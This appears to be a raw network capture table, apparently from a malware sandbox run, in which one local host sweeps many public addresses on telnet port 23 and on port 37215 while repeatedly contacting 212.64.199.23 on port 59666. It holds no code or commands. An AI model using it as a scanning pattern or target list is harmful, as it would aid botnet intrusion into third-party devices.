Feb 4, 2025 18:17:33.393199921 CET	41240	23	192.168.2.23	4.126.226.95
Feb 4, 2025 18:17:33.393208981 CET	39232	23	192.168.2.23	89.159.28.137
Feb 4, 2025 18:17:33.393209934 CET	56856	23	192.168.2.23	81.36.91.196
Feb 4, 2025 18:17:33.393215895 CET	43704	23	192.168.2.23	136.4.252.241
Feb 4, 2025 18:17:33.393228054 CET	57954	23	192.168.2.23	84.63.82.242
Feb 4, 2025 18:17:33.393238068 CET	56968	23	192.168.2.23	40.182.169.248
Feb 4, 2025 18:17:33.393239021 CET	38940	23	192.168.2.23	197.203.146.123
Feb 4, 2025 18:17:33.393239021 CET	51056	23	192.168.2.23	134.100.205.170
Feb 4, 2025 18:17:33.393241882 CET	42358	23	192.168.2.23	172.108.57.176
Feb 4, 2025 18:17:33.393244982 CET	34852	23	192.168.2.23	149.245.20.75
Feb 4, 2025 18:17:33.393254042 CET	57526	23	192.168.2.23	123.173.30.127
Feb 4, 2025 18:17:33.393254042 CET	60884	23	192.168.2.23	51.228.251.46
Feb 4, 2025 18:17:33.393258095 CET	48238	23	192.168.2.23	54.106.122.6
Feb 4, 2025 18:17:33.393264055 CET	46724	23	192.168.2.23	99.187.6.83
Feb 4, 2025 18:17:33.393268108 CET	35268	23	192.168.2.23	149.3.142.204
Feb 4, 2025 18:17:33.393270016 CET	50806	23	192.168.2.23	1.142.101.135
Feb 4, 2025 18:17:33.393270016 CET	58938	23	192.168.2.23	32.195.112.125
Feb 4, 2025 18:17:33.393270016 CET	53644	23	192.168.2.23	61.131.204.12
Feb 4, 2025 18:17:33.393270969 CET	33486	23	192.168.2.23	142.190.144.84
Feb 4, 2025 18:17:33.393270016 CET	42580	23	192.168.2.23	78.140.95.95
Feb 4, 2025 18:17:33.393273115 CET	33296	23	192.168.2.23	121.158.21.152
Feb 4, 2025 18:17:33.393270016 CET	35816	23	192.168.2.23	172.173.60.23
Feb 4, 2025 18:17:33.393275023 CET	60154	23	192.168.2.23	155.189.220.154
Feb 4, 2025 18:17:33.393270016 CET	59330	23	192.168.2.23	146.109.5.177
Feb 4, 2025 18:17:33.393282890 CET	47482	23	192.168.2.23	126.21.196.46
Feb 4, 2025 18:17:33.393284082 CET	51058	23	192.168.2.23	175.125.116.107
Feb 4, 2025 18:17:33.393284082 CET	45182	23	192.168.2.23	149.206.49.19
Feb 4, 2025 18:17:33.393289089 CET	45424	23	192.168.2.23	107.82.243.201
Feb 4, 2025 18:17:33.393290043 CET	38810	23	192.168.2.23	47.56.25.130
Feb 4, 2025 18:17:33.393290043 CET	40522	23	192.168.2.23	151.26.174.137
Feb 4, 2025 18:17:33.393297911 CET	48142	23	192.168.2.23	128.16.205.191
Feb 4, 2025 18:17:33.393296957 CET	51886	23	192.168.2.23	183.219.229.81
Feb 4, 2025 18:17:33.393305063 CET	36550	23	192.168.2.23	141.209.44.25
Feb 4, 2025 18:17:33.393316984 CET	50308	23	192.168.2.23	161.233.92.6
Feb 4, 2025 18:17:33.393316984 CET	39666	23	192.168.2.23	152.61.107.176
Feb 4, 2025 18:17:33.393318892 CET	35728	23	192.168.2.23	52.154.141.42
Feb 4, 2025 18:17:33.393320084 CET	47152	23	192.168.2.23	85.168.253.159
Feb 4, 2025 18:17:33.393326044 CET	38894	23	192.168.2.23	67.139.160.55
Feb 4, 2025 18:17:33.393326044 CET	51432	23	192.168.2.23	65.7.148.37
Feb 4, 2025 18:17:33.393337965 CET	53942	23	192.168.2.23	91.89.98.112
Feb 4, 2025 18:17:33.393340111 CET	41920	23	192.168.2.23	157.79.3.186
Feb 4, 2025 18:17:33.393340111 CET	57908	23	192.168.2.23	194.82.191.250
Feb 4, 2025 18:17:33.393346071 CET	41224	23	192.168.2.23	83.145.242.116
Feb 4, 2025 18:17:33.393346071 CET	43090	23	192.168.2.23	112.132.122.239
Feb 4, 2025 18:17:33.393347025 CET	39872	23	192.168.2.23	130.129.139.106
Feb 4, 2025 18:17:33.393357038 CET	51188	23	192.168.2.23	210.178.135.81
Feb 4, 2025 18:17:33.393361092 CET	59052	23	192.168.2.23	163.179.6.116
Feb 4, 2025 18:17:33.393368006 CET	39784	23	192.168.2.23	44.174.88.26
Feb 4, 2025 18:17:33.393368006 CET	37818	23	192.168.2.23	4.224.114.87
Feb 4, 2025 18:17:33.393368959 CET	36798	23	192.168.2.23	92.23.7.87
Feb 4, 2025 18:17:33.397661924 CET	23	38842	17.17.29.34	192.168.2.23
Feb 4, 2025 18:17:33.397722960 CET	38842	23	192.168.2.23	17.17.29.34
Feb 4, 2025 18:17:33.618114948 CET	59666	39910	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:33.618326902 CET	39910	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:33.618367910 CET	39910	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:33.627257109 CET	39914	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:33.632112980 CET	59666	39914	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:33.632220984 CET	39914	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:33.632220984 CET	39914	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:33.637041092 CET	59666	39914	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:33.637096882 CET	39914	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:33.641885042 CET	59666	39914	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:34.326992035 CET	59666	39914	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:34.327225924 CET	39914	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:34.327225924 CET	39914	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:34.337285995 CET	39916	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:34.342137098 CET	59666	39916	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:34.342206001 CET	39916	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:34.342228889 CET	39916	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:34.347047091 CET	59666	39916	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:34.347105980 CET	39916	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:34.351969004 CET	59666	39916	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:34.387527943 CET	35556	37215	192.168.2.23	197.62.111.253
Feb 4, 2025 18:17:34.387526989 CET	35556	37215	192.168.2.23	197.151.103.183
Feb 4, 2025 18:17:34.387530088 CET	35556	37215	192.168.2.23	156.182.250.239
Feb 4, 2025 18:17:34.387532949 CET	35556	37215	192.168.2.23	156.182.245.149
Feb 4, 2025 18:17:34.387552977 CET	35556	37215	192.168.2.23	156.149.2.251
Feb 4, 2025 18:17:34.387556076 CET	35556	37215	192.168.2.23	41.155.167.138
Feb 4, 2025 18:17:34.387556076 CET	35556	37215	192.168.2.23	197.5.250.60
Feb 4, 2025 18:17:34.387556076 CET	35556	37215	192.168.2.23	156.212.38.118
Feb 4, 2025 18:17:34.387573004 CET	35556	37215	192.168.2.23	197.123.96.21
Feb 4, 2025 18:17:34.387573004 CET	35556	37215	192.168.2.23	41.159.128.29
Feb 4, 2025 18:17:34.387573004 CET	35556	37215	192.168.2.23	156.189.24.66
Feb 4, 2025 18:17:34.387594938 CET	35556	37215	192.168.2.23	156.232.165.149
Feb 4, 2025 18:17:34.387598038 CET	35556	37215	192.168.2.23	41.61.79.140
Feb 4, 2025 18:17:34.387598038 CET	35556	37215	192.168.2.23	197.42.163.155
Feb 4, 2025 18:17:34.387598038 CET	35556	37215	192.168.2.23	156.61.41.183
Feb 4, 2025 18:17:34.387599945 CET	35556	37215	192.168.2.23	41.208.255.247
Feb 4, 2025 18:17:34.387599945 CET	35556	37215	192.168.2.23	41.76.59.198
Feb 4, 2025 18:17:34.387599945 CET	35556	37215	192.168.2.23	156.31.158.184
Feb 4, 2025 18:17:34.387600899 CET	35556	37215	192.168.2.23	197.237.214.4
Feb 4, 2025 18:17:34.387599945 CET	35556	37215	192.168.2.23	41.188.220.87
Feb 4, 2025 18:17:34.387602091 CET	35556	37215	192.168.2.23	197.109.8.182
Feb 4, 2025 18:17:34.387599945 CET	35556	37215	192.168.2.23	197.155.15.214
Feb 4, 2025 18:17:34.387604952 CET	35556	37215	192.168.2.23	197.214.66.50
Feb 4, 2025 18:17:34.387604952 CET	35556	37215	192.168.2.23	197.127.122.247
Feb 4, 2025 18:17:34.387602091 CET	35556	37215	192.168.2.23	197.99.175.156
Feb 4, 2025 18:17:34.387602091 CET	35556	37215	192.168.2.23	156.57.1.247
Feb 4, 2025 18:17:34.387604952 CET	35556	37215	192.168.2.23	41.143.239.10
Feb 4, 2025 18:17:34.387602091 CET	35556	37215	192.168.2.23	41.31.94.141
Feb 4, 2025 18:17:34.387604952 CET	35556	37215	192.168.2.23	197.41.145.88
Feb 4, 2025 18:17:34.387604952 CET	35556	37215	192.168.2.23	156.247.176.88
Feb 4, 2025 18:17:34.387634993 CET	35556	37215	192.168.2.23	197.113.124.171
Feb 4, 2025 18:17:34.387634993 CET	35556	37215	192.168.2.23	41.98.105.250
Feb 4, 2025 18:17:34.387634993 CET	35556	37215	192.168.2.23	41.142.220.189
Feb 4, 2025 18:17:34.387634993 CET	35556	37215	192.168.2.23	41.86.66.71
Feb 4, 2025 18:17:34.387634993 CET	35556	37215	192.168.2.23	197.75.8.104
Feb 4, 2025 18:17:34.387634993 CET	35556	37215	192.168.2.23	41.57.39.242
Feb 4, 2025 18:17:34.387636900 CET	35556	37215	192.168.2.23	41.177.142.0
Feb 4, 2025 18:17:34.387635946 CET	35556	37215	192.168.2.23	197.237.235.179
Feb 4, 2025 18:17:34.387643099 CET	35556	37215	192.168.2.23	197.162.247.196
Feb 4, 2025 18:17:34.387636900 CET	35556	37215	192.168.2.23	197.109.241.18
Feb 4, 2025 18:17:34.387638092 CET	35556	37215	192.168.2.23	197.111.169.81
Feb 4, 2025 18:17:34.387635946 CET	35556	37215	192.168.2.23	41.94.156.7
Feb 4, 2025 18:17:34.387643099 CET	35556	37215	192.168.2.23	197.40.120.14
Feb 4, 2025 18:17:34.387635946 CET	35556	37215	192.168.2.23	156.100.37.107
Feb 4, 2025 18:17:34.387634993 CET	35556	37215	192.168.2.23	41.26.32.0
Feb 4, 2025 18:17:34.387635946 CET	35556	37215	192.168.2.23	197.18.230.253
Feb 4, 2025 18:17:34.387650013 CET	35556	37215	192.168.2.23	197.19.231.190
Feb 4, 2025 18:17:34.387650013 CET	35556	37215	192.168.2.23	41.9.106.176
Feb 4, 2025 18:17:34.387667894 CET	35556	37215	192.168.2.23	41.83.157.207
Feb 4, 2025 18:17:34.387669086 CET	35556	37215	192.168.2.23	41.255.3.158
Feb 4, 2025 18:17:34.387670040 CET	35556	37215	192.168.2.23	41.236.180.31
Feb 4, 2025 18:17:34.387670040 CET	35556	37215	192.168.2.23	156.102.226.225
Feb 4, 2025 18:17:34.387670040 CET	35556	37215	192.168.2.23	41.142.188.190
Feb 4, 2025 18:17:34.387671947 CET	35556	37215	192.168.2.23	156.132.17.193
Feb 4, 2025 18:17:34.387671947 CET	35556	37215	192.168.2.23	197.100.180.238
Feb 4, 2025 18:17:34.387671947 CET	35556	37215	192.168.2.23	197.164.124.17
Feb 4, 2025 18:17:34.387671947 CET	35556	37215	192.168.2.23	156.207.69.44
Feb 4, 2025 18:17:34.387671947 CET	35556	37215	192.168.2.23	41.11.124.137
Feb 4, 2025 18:17:34.387671947 CET	35556	37215	192.168.2.23	197.158.106.209
Feb 4, 2025 18:17:34.387676001 CET	35556	37215	192.168.2.23	41.79.193.156
Feb 4, 2025 18:17:34.387676001 CET	35556	37215	192.168.2.23	41.45.160.19
Feb 4, 2025 18:17:34.387681961 CET	35556	37215	192.168.2.23	197.56.114.165
Feb 4, 2025 18:17:34.387681961 CET	35556	37215	192.168.2.23	41.104.73.90
Feb 4, 2025 18:17:34.387681961 CET	35556	37215	192.168.2.23	197.3.254.218
Feb 4, 2025 18:17:34.387681961 CET	35556	37215	192.168.2.23	41.229.193.158
Feb 4, 2025 18:17:34.387681961 CET	35556	37215	192.168.2.23	41.63.104.83
Feb 4, 2025 18:17:34.387692928 CET	35556	37215	192.168.2.23	41.131.72.241
Feb 4, 2025 18:17:34.387692928 CET	35556	37215	192.168.2.23	41.92.180.215
Feb 4, 2025 18:17:34.387692928 CET	35556	37215	192.168.2.23	41.247.116.76
Feb 4, 2025 18:17:34.387693882 CET	35556	37215	192.168.2.23	156.114.16.252
Feb 4, 2025 18:17:34.387693882 CET	35556	37215	192.168.2.23	41.53.198.137
Feb 4, 2025 18:17:34.387693882 CET	35556	37215	192.168.2.23	41.20.0.147
Feb 4, 2025 18:17:34.387696028 CET	35556	37215	192.168.2.23	197.133.25.103
Feb 4, 2025 18:17:34.387696028 CET	35556	37215	192.168.2.23	156.223.74.14
Feb 4, 2025 18:17:34.387696028 CET	35556	37215	192.168.2.23	197.46.57.135
Feb 4, 2025 18:17:34.387698889 CET	35556	37215	192.168.2.23	156.126.164.19
Feb 4, 2025 18:17:34.387698889 CET	35556	37215	192.168.2.23	156.200.178.160
Feb 4, 2025 18:17:34.387698889 CET	35556	37215	192.168.2.23	156.95.11.57
Feb 4, 2025 18:17:34.387700081 CET	35556	37215	192.168.2.23	156.0.102.198
Feb 4, 2025 18:17:34.387700081 CET	35556	37215	192.168.2.23	41.180.147.202
Feb 4, 2025 18:17:34.387700081 CET	35556	37215	192.168.2.23	41.234.143.220
Feb 4, 2025 18:17:34.387700081 CET	35556	37215	192.168.2.23	41.20.199.207
Feb 4, 2025 18:17:34.387706995 CET	35556	37215	192.168.2.23	156.5.131.154
Feb 4, 2025 18:17:34.387706995 CET	35556	37215	192.168.2.23	41.249.125.119
Feb 4, 2025 18:17:34.387706995 CET	35556	37215	192.168.2.23	197.195.14.152
Feb 4, 2025 18:17:34.387706995 CET	35556	37215	192.168.2.23	156.55.233.80
Feb 4, 2025 18:17:34.387706995 CET	35556	37215	192.168.2.23	41.99.77.250
Feb 4, 2025 18:17:34.387706995 CET	35556	37215	192.168.2.23	156.58.231.181
Feb 4, 2025 18:17:34.387742996 CET	35556	37215	192.168.2.23	156.83.159.237
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	41.154.189.210
Feb 4, 2025 18:17:34.387742996 CET	35556	37215	192.168.2.23	41.222.99.143
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	197.80.108.158
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	156.216.146.79
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	197.1.76.64
Feb 4, 2025 18:17:34.387748957 CET	35556	37215	192.168.2.23	41.25.40.80
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	156.132.108.30
Feb 4, 2025 18:17:34.387748957 CET	35556	37215	192.168.2.23	197.214.127.159
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	41.73.247.120
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	41.161.223.215
Feb 4, 2025 18:17:34.387752056 CET	35556	37215	192.168.2.23	197.108.251.163
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	41.6.155.27
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	41.252.100.6
Feb 4, 2025 18:17:34.387753963 CET	35556	37215	192.168.2.23	197.67.22.7
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	156.155.23.255
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	41.180.115.70
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	197.62.27.78
Feb 4, 2025 18:17:34.387753963 CET	35556	37215	192.168.2.23	156.224.85.173
Feb 4, 2025 18:17:34.387748957 CET	35556	37215	192.168.2.23	156.246.212.174
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	156.208.244.231
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	197.135.96.30
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	41.249.224.247
Feb 4, 2025 18:17:34.387748957 CET	35556	37215	192.168.2.23	156.78.96.63
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	197.203.152.159
Feb 4, 2025 18:17:34.387752056 CET	35556	37215	192.168.2.23	156.28.247.27
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	41.110.240.113
Feb 4, 2025 18:17:34.387752056 CET	35556	37215	192.168.2.23	156.18.63.70
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	41.51.158.55
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	41.168.228.237
Feb 4, 2025 18:17:34.387752056 CET	35556	37215	192.168.2.23	41.115.1.108
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	156.62.249.219
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	41.228.55.0
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	197.80.123.171
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	156.89.150.8
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	41.206.216.207
Feb 4, 2025 18:17:34.387746096 CET	35556	37215	192.168.2.23	197.191.155.104
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	197.89.1.193
Feb 4, 2025 18:17:34.387775898 CET	35556	37215	192.168.2.23	156.67.176.2
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	197.77.64.29
Feb 4, 2025 18:17:34.387743950 CET	35556	37215	192.168.2.23	197.68.48.95
Feb 4, 2025 18:17:34.387784004 CET	35556	37215	192.168.2.23	197.92.33.75
Feb 4, 2025 18:17:34.387784958 CET	35556	37215	192.168.2.23	156.61.41.242
Feb 4, 2025 18:17:34.387788057 CET	35556	37215	192.168.2.23	41.158.179.63
Feb 4, 2025 18:17:34.387788057 CET	35556	37215	192.168.2.23	41.29.200.34
Feb 4, 2025 18:17:34.387789965 CET	35556	37215	192.168.2.23	197.254.32.126
Feb 4, 2025 18:17:34.387789965 CET	35556	37215	192.168.2.23	41.12.58.101
Feb 4, 2025 18:17:34.387790918 CET	35556	37215	192.168.2.23	41.146.129.120
Feb 4, 2025 18:17:34.387793064 CET	35556	37215	192.168.2.23	156.2.77.144
Feb 4, 2025 18:17:34.387793064 CET	35556	37215	192.168.2.23	41.250.192.196
Feb 4, 2025 18:17:34.387815952 CET	35556	37215	192.168.2.23	197.251.102.46
Feb 4, 2025 18:17:34.387818098 CET	35556	37215	192.168.2.23	156.193.148.255
Feb 4, 2025 18:17:34.387818098 CET	35556	37215	192.168.2.23	41.218.232.1
Feb 4, 2025 18:17:34.387818098 CET	35556	37215	192.168.2.23	197.88.235.86
Feb 4, 2025 18:17:34.387825966 CET	35556	37215	192.168.2.23	41.239.59.239
Feb 4, 2025 18:17:34.387826920 CET	35556	37215	192.168.2.23	197.165.239.154
Feb 4, 2025 18:17:34.387828112 CET	35556	37215	192.168.2.23	197.81.119.175
Feb 4, 2025 18:17:34.387829065 CET	35556	37215	192.168.2.23	197.52.168.9
Feb 4, 2025 18:17:34.387834072 CET	35556	37215	192.168.2.23	197.130.107.0
Feb 4, 2025 18:17:34.387835026 CET	35556	37215	192.168.2.23	156.57.134.93
Feb 4, 2025 18:17:34.387836933 CET	35556	37215	192.168.2.23	197.188.193.7
Feb 4, 2025 18:17:34.387841940 CET	35556	37215	192.168.2.23	41.184.132.23
Feb 4, 2025 18:17:34.387841940 CET	35556	37215	192.168.2.23	41.41.110.55
Feb 4, 2025 18:17:34.387845993 CET	35556	37215	192.168.2.23	41.111.239.77
Feb 4, 2025 18:17:34.387847900 CET	35556	37215	192.168.2.23	197.28.37.6
Feb 4, 2025 18:17:34.387849092 CET	35556	37215	192.168.2.23	156.90.174.103
Feb 4, 2025 18:17:34.387849092 CET	35556	37215	192.168.2.23	197.167.182.146
Feb 4, 2025 18:17:34.387851954 CET	35556	37215	192.168.2.23	156.27.142.57
Feb 4, 2025 18:17:34.387856960 CET	35556	37215	192.168.2.23	41.5.204.29
Feb 4, 2025 18:17:34.387861967 CET	35556	37215	192.168.2.23	41.13.135.234
Feb 4, 2025 18:17:34.387861967 CET	35556	37215	192.168.2.23	156.35.0.42
Feb 4, 2025 18:17:34.387861967 CET	35556	37215	192.168.2.23	197.141.4.169
Feb 4, 2025 18:17:34.387861967 CET	35556	37215	192.168.2.23	156.227.54.134
Feb 4, 2025 18:17:34.387866020 CET	35556	37215	192.168.2.23	41.204.33.68
Feb 4, 2025 18:17:34.387866974 CET	35556	37215	192.168.2.23	197.76.243.217
Feb 4, 2025 18:17:34.387868881 CET	35556	37215	192.168.2.23	197.37.237.218
Feb 4, 2025 18:17:34.387868881 CET	35556	37215	192.168.2.23	41.115.51.104
Feb 4, 2025 18:17:34.387868881 CET	35556	37215	192.168.2.23	197.37.76.73
Feb 4, 2025 18:17:34.387881041 CET	35556	37215	192.168.2.23	156.82.6.255
Feb 4, 2025 18:17:34.387903929 CET	35556	37215	192.168.2.23	197.118.92.125
Feb 4, 2025 18:17:34.387904882 CET	35556	37215	192.168.2.23	156.214.202.127
Feb 4, 2025 18:17:34.387904882 CET	35556	37215	192.168.2.23	156.96.244.173
Feb 4, 2025 18:17:34.387907982 CET	35556	37215	192.168.2.23	41.58.71.232
Feb 4, 2025 18:17:34.387909889 CET	35556	37215	192.168.2.23	41.105.35.49
Feb 4, 2025 18:17:34.387909889 CET	35556	37215	192.168.2.23	197.89.172.44
Feb 4, 2025 18:17:34.387911081 CET	35556	37215	192.168.2.23	41.191.255.237
Feb 4, 2025 18:17:34.387917995 CET	35556	37215	192.168.2.23	41.71.239.119
Feb 4, 2025 18:17:34.387918949 CET	35556	37215	192.168.2.23	156.220.105.17
Feb 4, 2025 18:17:34.387922049 CET	35556	37215	192.168.2.23	197.220.87.38
Feb 4, 2025 18:17:34.387922049 CET	35556	37215	192.168.2.23	156.24.121.27
Feb 4, 2025 18:17:34.387923956 CET	35556	37215	192.168.2.23	197.94.26.224
Feb 4, 2025 18:17:34.387923956 CET	35556	37215	192.168.2.23	156.71.85.229
Feb 4, 2025 18:17:34.387927055 CET	35556	37215	192.168.2.23	156.41.42.228
Feb 4, 2025 18:17:34.387927055 CET	35556	37215	192.168.2.23	41.35.41.57
Feb 4, 2025 18:17:34.387931108 CET	35556	37215	192.168.2.23	41.236.92.245
Feb 4, 2025 18:17:34.387932062 CET	35556	37215	192.168.2.23	41.188.215.55
Feb 4, 2025 18:17:34.387932062 CET	35556	37215	192.168.2.23	41.57.124.43
Feb 4, 2025 18:17:34.387932062 CET	35556	37215	192.168.2.23	197.47.111.30
Feb 4, 2025 18:17:34.387932062 CET	35556	37215	192.168.2.23	41.223.199.87
Feb 4, 2025 18:17:34.387942076 CET	35556	37215	192.168.2.23	41.5.174.192
Feb 4, 2025 18:17:34.387943029 CET	35556	37215	192.168.2.23	41.39.117.176
Feb 4, 2025 18:17:34.387947083 CET	35556	37215	192.168.2.23	197.155.197.122
Feb 4, 2025 18:17:34.387947083 CET	35556	37215	192.168.2.23	197.253.181.49
Feb 4, 2025 18:17:34.387948036 CET	35556	37215	192.168.2.23	156.12.146.129
Feb 4, 2025 18:17:34.387950897 CET	35556	37215	192.168.2.23	41.190.114.155
Feb 4, 2025 18:17:34.387988091 CET	35556	37215	192.168.2.23	197.203.86.25
Feb 4, 2025 18:17:34.388006926 CET	35556	37215	192.168.2.23	197.165.162.193
Feb 4, 2025 18:17:34.388006926 CET	35556	37215	192.168.2.23	41.161.213.55
Feb 4, 2025 18:17:34.388006926 CET	35556	37215	192.168.2.23	41.221.31.142
Feb 4, 2025 18:17:34.388009071 CET	35556	37215	192.168.2.23	41.70.155.186
Feb 4, 2025 18:17:34.388009071 CET	35556	37215	192.168.2.23	197.103.237.54
Feb 4, 2025 18:17:34.388010025 CET	35556	37215	192.168.2.23	156.89.114.105
Feb 4, 2025 18:17:34.388009071 CET	35556	37215	192.168.2.23	41.100.104.208
Feb 4, 2025 18:17:34.388009071 CET	35556	37215	192.168.2.23	197.145.198.188
Feb 4, 2025 18:17:34.388011932 CET	35556	37215	192.168.2.23	41.150.99.236
Feb 4, 2025 18:17:34.388012886 CET	35556	37215	192.168.2.23	41.187.127.178
Feb 4, 2025 18:17:34.388011932 CET	35556	37215	192.168.2.23	156.225.16.244
Feb 4, 2025 18:17:34.388011932 CET	35556	37215	192.168.2.23	156.217.130.197
Feb 4, 2025 18:17:34.388010025 CET	35556	37215	192.168.2.23	197.27.40.90
Feb 4, 2025 18:17:34.388030052 CET	35556	37215	192.168.2.23	197.201.177.215
Feb 4, 2025 18:17:34.388031006 CET	35556	37215	192.168.2.23	197.240.53.174
Feb 4, 2025 18:17:34.388034105 CET	35556	37215	192.168.2.23	156.151.62.79
Feb 4, 2025 18:17:34.388034105 CET	35556	37215	192.168.2.23	41.214.252.239
Feb 4, 2025 18:17:34.388034105 CET	35556	37215	192.168.2.23	156.16.39.213
Feb 4, 2025 18:17:34.388034105 CET	35556	37215	192.168.2.23	41.126.111.167
Feb 4, 2025 18:17:34.388034105 CET	35556	37215	192.168.2.23	197.130.214.169
Feb 4, 2025 18:17:34.388034105 CET	35556	37215	192.168.2.23	197.97.16.212
Feb 4, 2025 18:17:34.388034105 CET	35556	37215	192.168.2.23	197.9.76.176
Feb 4, 2025 18:17:34.388036966 CET	35556	37215	192.168.2.23	197.101.148.149
Feb 4, 2025 18:17:34.388036966 CET	35556	37215	192.168.2.23	197.174.215.34
Feb 4, 2025 18:17:34.388036966 CET	35556	37215	192.168.2.23	41.103.141.217
Feb 4, 2025 18:17:34.388041973 CET	35556	37215	192.168.2.23	156.125.75.143
Feb 4, 2025 18:17:34.388041973 CET	35556	37215	192.168.2.23	197.248.45.187
Feb 4, 2025 18:17:34.388047934 CET	35556	37215	192.168.2.23	41.220.74.178
Feb 4, 2025 18:17:34.388048887 CET	35556	37215	192.168.2.23	156.105.8.161
Feb 4, 2025 18:17:34.388051987 CET	35556	37215	192.168.2.23	156.47.176.177
Feb 4, 2025 18:17:34.388051987 CET	35556	37215	192.168.2.23	41.131.103.97
Feb 4, 2025 18:17:34.388051987 CET	35556	37215	192.168.2.23	156.27.147.27
Feb 4, 2025 18:17:34.388051987 CET	35556	37215	192.168.2.23	156.68.156.172
Feb 4, 2025 18:17:34.388067961 CET	35556	37215	192.168.2.23	156.108.23.48
Feb 4, 2025 18:17:34.388077021 CET	35556	37215	192.168.2.23	197.26.60.246
Feb 4, 2025 18:17:34.388077021 CET	35556	37215	192.168.2.23	197.149.74.194
Feb 4, 2025 18:17:34.388077974 CET	35556	37215	192.168.2.23	156.180.168.94
Feb 4, 2025 18:17:34.388077974 CET	35556	37215	192.168.2.23	41.236.108.209
Feb 4, 2025 18:17:34.388077974 CET	35556	37215	192.168.2.23	197.94.135.44
Feb 4, 2025 18:17:34.388077974 CET	35556	37215	192.168.2.23	156.220.115.3
Feb 4, 2025 18:17:34.388081074 CET	35556	37215	192.168.2.23	41.195.64.98
Feb 4, 2025 18:17:34.388081074 CET	35556	37215	192.168.2.23	156.175.130.212
Feb 4, 2025 18:17:34.388083935 CET	35556	37215	192.168.2.23	41.201.147.84
Feb 4, 2025 18:17:34.388083935 CET	35556	37215	192.168.2.23	41.252.128.217
Feb 4, 2025 18:17:34.388089895 CET	35556	37215	192.168.2.23	197.163.183.128
Feb 4, 2025 18:17:34.388089895 CET	35556	37215	192.168.2.23	156.102.189.135
Feb 4, 2025 18:17:34.388089895 CET	35556	37215	192.168.2.23	156.81.202.77
Feb 4, 2025 18:17:34.388092041 CET	35556	37215	192.168.2.23	41.104.105.119
Feb 4, 2025 18:17:34.388092041 CET	35556	37215	192.168.2.23	156.180.212.93
Feb 4, 2025 18:17:34.388092041 CET	35556	37215	192.168.2.23	41.71.94.113
Feb 4, 2025 18:17:34.388092041 CET	35556	37215	192.168.2.23	156.249.209.158
Feb 4, 2025 18:17:34.388103008 CET	35556	37215	192.168.2.23	197.23.19.144
Feb 4, 2025 18:17:34.388103008 CET	35556	37215	192.168.2.23	41.220.1.168
Feb 4, 2025 18:17:34.388117075 CET	35556	37215	192.168.2.23	41.155.106.111
Feb 4, 2025 18:17:34.388117075 CET	35556	37215	192.168.2.23	41.139.41.0
Feb 4, 2025 18:17:34.388117075 CET	35556	37215	192.168.2.23	156.210.241.185
Feb 4, 2025 18:17:34.388117075 CET	35556	37215	192.168.2.23	41.107.223.127
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	197.52.226.5
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	156.210.86.61
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	156.134.161.251
Feb 4, 2025 18:17:34.388119936 CET	35556	37215	192.168.2.23	156.3.11.20
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	41.130.61.140
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	41.0.41.46
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	41.207.182.7
Feb 4, 2025 18:17:34.388119936 CET	35556	37215	192.168.2.23	156.3.87.226
Feb 4, 2025 18:17:34.388118982 CET	35556	37215	192.168.2.23	197.64.137.133
Feb 4, 2025 18:17:34.388120890 CET	35556	37215	192.168.2.23	197.233.6.52
Feb 4, 2025 18:17:34.388130903 CET	35556	37215	192.168.2.23	156.156.16.99
